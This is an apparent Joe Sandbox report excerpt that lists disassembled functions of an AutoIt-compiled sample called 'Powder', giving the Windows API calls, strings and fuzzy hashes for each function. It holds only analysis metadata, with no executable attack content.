Instruction Fuzzy Hash: F5410472C1022DAFCF25EBA4DC95DEEB7B8FF04341F44556AE915B2161EA309E48CB90

Function 00E8147A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00E8040D,?,?), ref: 00E81491

Strings

HKLM, xrefs: 00E8150F
HKEY_LOCAL_MACHINE, xrefs: 00E814FA
HKEY_USERS, xrefs: 00E81592
HKCR, xrefs: 00E81539
HKCU, xrefs: 00E81581
HKEY_CLASSES_ROOT, xrefs: 00E81524
HKEY_CURRENT_USER, xrefs: 00E81570
HKU, xrefs: 00E815A3
HKCC, xrefs: 00E8155F
HKEY_CURRENT_CONFIG, xrefs: 00E8154E

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 854351387efc04b393e93116d7dcd8691418d19479140fcbcd3ab0009e6b2b4a
Instruction ID: a4a7a51e5f64aca07499fee9280781f7d9d120db240835a8fa840e2482010a6a
Opcode Fuzzy Hash: 854351387efc04b393e93116d7dcd8691418d19479140fcbcd3ab0009e6b2b4a
Instruction Fuzzy Hash: 5E415E3050526ACBCF00FF94E851AEA7768BF91304F646495FC5A77292DB30ED5ACB60

Function 00E65882 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00E11821: _memmove.LIBCMT ref: 00E1185B

Part of subcall function 00E1153B: _memmove.LIBCMT ref: 00E115C4

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00E658EB
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00E65901
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00E65912
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00E65924
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00E65935

Strings

status PlayMe mode, xrefs: 00E658E6
play PlayMe, xrefs: 00E65930
play PlayMe wait, xrefs: 00E6591F
alias PlayMe, xrefs: 00E658C4
open , xrefs: 00E6589A
close PlayMe, xrefs: 00E658FC, 00E65929

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: ec664a72f6dd3f683b072c00447ce997e0309d6c32e53a4447e7aaa05682bcde
Instruction ID: 3b98b2339ce12fc088ac28fa111587e4136f9b14a86afa5304741627c8fee2da
Opcode Fuzzy Hash: ec664a72f6dd3f683b072c00447ce997e0309d6c32e53a4447e7aaa05682bcde
Instruction Fuzzy Hash: B311C431A90229F9D720A7A5DC5ADFF7BBCEBE1B90F401469B511B20D0DEE01D44C6A0

Function 00E64C0C Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00E64C27
gethostname.WSOCK32(?,00000100), ref: 00E64C41
gethostbyname.WSOCK32(?), ref: 00E64C4E
_wcscpy.LIBCMT ref: 00E64C76
_memmove.LIBCMT ref: 00E64C89
inet_ntoa.WSOCK32(?), ref: 00E64C94
_strcat.LIBCMT ref: 00E64CA2
_wcscpy.LIBCMT ref: 00E64CB9
WSACleanup.WSOCK32 ref: 00E64CC7
_wcscpy.LIBCMT ref: 00E64CD5

Strings

0.0.0.0, xrefs: 00E64C70

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: 9db34f1d72ab9e711c16b393848b004af9cc5bdc7e3fdc615d7663edc8ceb4dc
Instruction ID: 4426993709bdaefdadb287deeb0bc96fda8b119e50af1e853cf35bc2d6b385fe
Opcode Fuzzy Hash: 9db34f1d72ab9e711c16b393848b004af9cc5bdc7e3fdc615d7663edc8ceb4dc
Instruction Fuzzy Hash: 64113672A04218AFEB65B760BD4AEEAB7FCDF40710F0411A7F004B22D1EF709A858A50

Function 00E65530 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00E65535

Part of subcall function 00E2083E: timeGetTime.WINMM(?,00000002,00E0C22C), ref: 00E20842

Sleep.KERNEL32(0000000A), ref: 00E65561
EnumThreadWindows.USER32(?,Function_000654E3,00000000), ref: 00E65585
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00E655A7
SetActiveWindow.USER32 ref: 00E655C6
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00E655D4
SendMessageW.USER32(00000010,00000000,00000000), ref: 00E655F3
Sleep.KERNEL32(000000FA), ref: 00E655FE
IsWindow.USER32 ref: 00E6560A
EndDialog.USER32(00000000), ref: 00E6561B

Strings

BUTTON, xrefs: 00E65599

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 1fc26f23877fba234cd9d9fb4565a4dcedb921c7384e1ef2484d33d0cedd7f04
Instruction ID: b4303dba07ea49f7dae373c61995b71fbcc0e179544409fb30f267dc8b3c91d7
Opcode Fuzzy Hash: 1fc26f23877fba234cd9d9fb4565a4dcedb921c7384e1ef2484d33d0cedd7f04
Instruction Fuzzy Hash: 9721A472244604AFE7515B62FE89E2A3B6BEB44385F80242AF403B11B1CFB34D59DA21

Function 00E6DBD0 Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00E04D37: __itow.LIBCMT ref: 00E04D62
Part of subcall function 00E04D37: __swprintf.LIBCMT ref: 00E04DAC

CoInitialize.OLE32(00000000), ref: 00E6DC2D
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00E6DCC0
SHGetDesktopFolder.SHELL32(?), ref: 00E6DCD4
CoCreateInstance.OLE32(00E93D4C,00000000,00000001,00EBB86C,?), ref: 00E6DD20
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00E6DD8F
CoTaskMemFree.OLE32(?,?), ref: 00E6DDE7
_memset.LIBCMT ref: 00E6DE24
SHBrowseForFolderW.SHELL32(?), ref: 00E6DE60
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00E6DE83
CoTaskMemFree.OLE32(00000000), ref: 00E6DE8A
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 00E6DEC1
CoUninitialize.OLE32(00000001,00000000), ref: 00E6DEC3

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: cf4f47aafe1f68a43a9ca8c2face8ac34cefdc29d95066af5ebb58449761b367
Instruction ID: 799f36a23303c4136364f58c70e1e8f43a4ca55ee6286e3e3c9551f7f8c1f74c
Opcode Fuzzy Hash: cf4f47aafe1f68a43a9ca8c2face8ac34cefdc29d95066af5ebb58449761b367
Instruction Fuzzy Hash: E0B10975A00109AFDB14DFA4DC88DAEBBF9FF88304B549499E905EB261DB30EE45CB50

Function 00E6081B Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00E60896
SetKeyboardState.USER32(?), ref: 00E60901
GetAsyncKeyState.USER32(000000A0), ref: 00E60921
GetKeyState.USER32(000000A0), ref: 00E60938
GetAsyncKeyState.USER32(000000A1), ref: 00E60967
GetKeyState.USER32(000000A1), ref: 00E60978
GetAsyncKeyState.USER32(00000011), ref: 00E609A4
GetKeyState.USER32(00000011), ref: 00E609B2
GetAsyncKeyState.USER32(00000012), ref: 00E609DB
GetKeyState.USER32(00000012), ref: 00E609E9
GetAsyncKeyState.USER32(0000005B), ref: 00E60A12
GetKeyState.USER32(0000005B), ref: 00E60A20

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 6bbc3e4de92066417e93322600ac6cfbf23abc9f6af15ed14ed7801f0108c8ea
Instruction ID: adf4fb4c07ab9fba17e8d61acc70f9455de3406cd0e32e30929f621644c7274d
Opcode Fuzzy Hash: 6bbc3e4de92066417e93322600ac6cfbf23abc9f6af15ed14ed7801f0108c8ea
Instruction Fuzzy Hash: 3151E730A8479829FB35DBA0A4157ABBFF48F413D4F08559A85C2771C3DA649A4CCBA1

Function 00E5CE00 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00E5CE1C
GetWindowRect.USER32(00000000,?), ref: 00E5CE2E
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00E5CE8C
GetDlgItem.USER32(?,00000002), ref: 00E5CE97
GetWindowRect.USER32(00000000,?), ref: 00E5CEA9
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00E5CEFD
GetDlgItem.USER32(?,000003E9), ref: 00E5CF0B
GetWindowRect.USER32(00000000,?), ref: 00E5CF1C
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00E5CF5F
GetDlgItem.USER32(?,000003EA), ref: 00E5CF6D
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00E5CF8A
InvalidateRect.USER32(?,00000000,00000001), ref: 00E5CF97

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 762a6405846963a161b2f9e957de0864746c73922ae78d40e293ecea5da23b13
Instruction ID: dcae2dcd059eb4728c34b6134e4c2fc2bed383f02dc44fd0e78ead679331294a
Opcode Fuzzy Hash: 762a6405846963a161b2f9e957de0864746c73922ae78d40e293ecea5da23b13
Instruction Fuzzy Hash: A0519471B00305AFDB18CFA9CD95A6EBBB6EB88311F54852EF915E7290D770AD048B10

Function 00E02581 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 00E029AB: GetWindowLongW.USER32(?,000000EB), ref: 00E029BC

GetSysColor.USER32(0000000F), ref: 00E025AF

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 3dbd3e78c176bc106e9d5c474e41312e025ded208fe67afd12414e6fbf1874aa
Instruction ID: dc4b1484aeec4b0a8c1d35f8e1b70effce53f004323a061d0268d060c710ca59
Opcode Fuzzy Hash: 3dbd3e78c176bc106e9d5c474e41312e025ded208fe67afd12414e6fbf1874aa
Instruction Fuzzy Hash: F941C531004540AFDB205F69AC8CBB93BA5EB06335F55526AFEA6BE1E1C7318C81DB21

Function 00E129BE Relevance: 18.0, APIs: 4, Strings: 6, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00E20B8B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00E12A3E,?,00008000), ref: 00E20BA7

Part of subcall function 00E20284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00E12A58,?,00008000), ref: 00E202A4

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00E12ADF
SetCurrentDirectoryW.KERNEL32(?), ref: 00E12C2C

Part of subcall function 00E13EBE: _wcscpy.LIBCMT ref: 00E13EF6

Part of subcall function 00E2386D: _iswctype.LIBCMT ref: 00E23875

Strings

Error opening the file, xrefs: 00E4FD33, 00E4FDAA
EA06, xrefs: 00E4FD48
Unterminated string, xrefs: 00E500D6
Bad directive syntax error, xrefs: 00E5008F
AU3!, xrefs: 00E12A93
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00E4FD17

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-3738523708
Opcode ID: 44172851b3dc567355ed008f00992d34bac3b0b77ab24ca0b8f129e6c550cb57
Instruction ID: 256fe860a68be1e97a8957326db186ade14214451c68ee480292e31b3fd27917
Opcode Fuzzy Hash: 44172851b3dc567355ed008f00992d34bac3b0b77ab24ca0b8f129e6c550cb57
Instruction Fuzzy Hash: 1102B0701083419FC724EF24D841AEFBBE5BF95354F10292DF599A32A2DB30DA89CB52

Function 00E04D37 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 00E04D62
__swprintf.LIBCMT ref: 00E04DAC
__i64tow.LIBCMT ref: 00E3DB3B

Strings

True, xrefs: 00E3DAFC
%.15g, xrefs: 00E04DA6
False, xrefs: 00E3DB03
0x%p, xrefs: 00E3DB1D

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: 31ef0e8e16960db55cfb84d849aede0ae2db3c1763dbd34a2ceea792b56a450b
Instruction ID: 1a5f86bfec2566153c17c59370b1d6ce41dfcb43798ec1aad45ead95d1dcc989
Opcode Fuzzy Hash: 31ef0e8e16960db55cfb84d849aede0ae2db3c1763dbd34a2ceea792b56a450b
Instruction Fuzzy Hash: E041B6B1608209AFDB24DF74EE45EBA77E8EB44304F20545EE249F72D2EA719941CB11

Function 00E87777 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E8778F
CreateMenu.USER32 ref: 00E877AA
SetMenu.USER32(?,00000000), ref: 00E877B9
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00E87846
IsMenu.USER32(?), ref: 00E8785C
CreatePopupMenu.USER32 ref: 00E87866
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00E87893
DrawMenuBar.USER32 ref: 00E8789B

Strings

0, xrefs: 00E87785
F, xrefs: 00E87887

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: bb235afd0bbe3e944d5b7e358e189bc3efbac492a2d7f1820d8fcdf7d474c90f
Instruction ID: ca324e3ad061de6b7ef1c7ef0d64868942ee74daefdd3c19b5ecd403f2f8508b
Opcode Fuzzy Hash: bb235afd0bbe3e944d5b7e358e189bc3efbac492a2d7f1820d8fcdf7d474c90f
Instruction Fuzzy Hash: D5414574A04219EFDB24EF65D888E9ABBB5FF48314F24002AE989B7360C731A914CF50

Function 00E87AE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00E87B83
CreateCompatibleDC.GDI32(00000000), ref: 00E87B8A
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00E87B9D
SelectObject.GDI32(00000000,00000000), ref: 00E87BA5
GetPixel.GDI32(00000000,00000000,00000000), ref: 00E87BB0
DeleteDC.GDI32(00000000), ref: 00E87BB9
GetWindowLongW.USER32(?,000000EC), ref: 00E87BC3
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00E87BD7
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00E87BE3

Strings

static, xrefs: 00E87B1B

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 2f366adcbb6a9b6398ed77861c60afd7dc424c845552f8ba99e80547220d8ee3
Instruction ID: 8d9767399c2790b286b450a3aa691de903c2eb3041a89e55f3c869ba0cd3d92d
Opcode Fuzzy Hash: 2f366adcbb6a9b6398ed77861c60afd7dc424c845552f8ba99e80547220d8ee3
Instruction Fuzzy Hash: 2D318D32105219AFDF11AFA5DC49FDB3B6AFF09364F201216FA59B21A0C731D864DBA0

Function 00E634DD Relevance: 17.6, APIs: 2, Strings: 8, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00E6357C

Strings

blank, xrefs: 00E634FE
question, xrefs: 00E63535
,z, xrefs: 00E6358D
0z, xrefs: 00E63588, 00E6358B
warning, xrefs: 00E63565
stop, xrefs: 00E6354D
info, xrefs: 00E6351D
,z, xrefs: 00E6350F

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: IconLoad
String ID: ,z$,z$0z$blank$info$question$stop$warning
API String ID: 2457776203-2354401043
Opcode ID: c9e39aa4ae6bdd1e79a4ca211b744673d3850ef6b4fb256329596852d9c36c7b
Instruction ID: 79bce560f05e482f90d7e900002ddeaada788398e63f58af369bb44da134e991
Opcode Fuzzy Hash: c9e39aa4ae6bdd1e79a4ca211b744673d3850ef6b4fb256329596852d9c36c7b
Instruction Fuzzy Hash: 5111EB71689366BEA7105A78FC92DEA77DCDF053A4F20201BF511B7181E7A46F4045A0

Function 00E27030 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E2706B

Part of subcall function 00E28D58: __getptd_noexit.LIBCMT ref: 00E28D58

__gmtime64_s.LIBCMT ref: 00E27104
__gmtime64_s.LIBCMT ref: 00E2713A
__gmtime64_s.LIBCMT ref: 00E27157
__allrem.LIBCMT ref: 00E271AD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E271C9
__allrem.LIBCMT ref: 00E271E0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E271FE
__allrem.LIBCMT ref: 00E27215
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E27233
__invoke_watson.LIBCMT ref: 00E272A4

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction ID: e20f1cf3f6a39c9a93b15d72df4be0caa28e6610564d8f2bbadcb3a7c8acd5ef
Opcode Fuzzy Hash: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction Fuzzy Hash: 827116B2A04727EBD7149E79EC42BAAB7E9BF00324F14622AF554F7281E770DD448790

Function 00E62CCE Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E62CE9
GetMenuItemInfoW.USER32(00EC7890,000000FF,00000000,00000030), ref: 00E62D4A
SetMenuItemInfoW.USER32(00EC7890,00000004,00000000,00000030), ref: 00E62D80
Sleep.KERNEL32(000001F4), ref: 00E62D92
GetMenuItemCount.USER32(?), ref: 00E62DD6
GetMenuItemID.USER32(?,00000000), ref: 00E62DF2
GetMenuItemID.USER32(?,-00000001), ref: 00E62E1C
GetMenuItemID.USER32(?,?), ref: 00E62E61
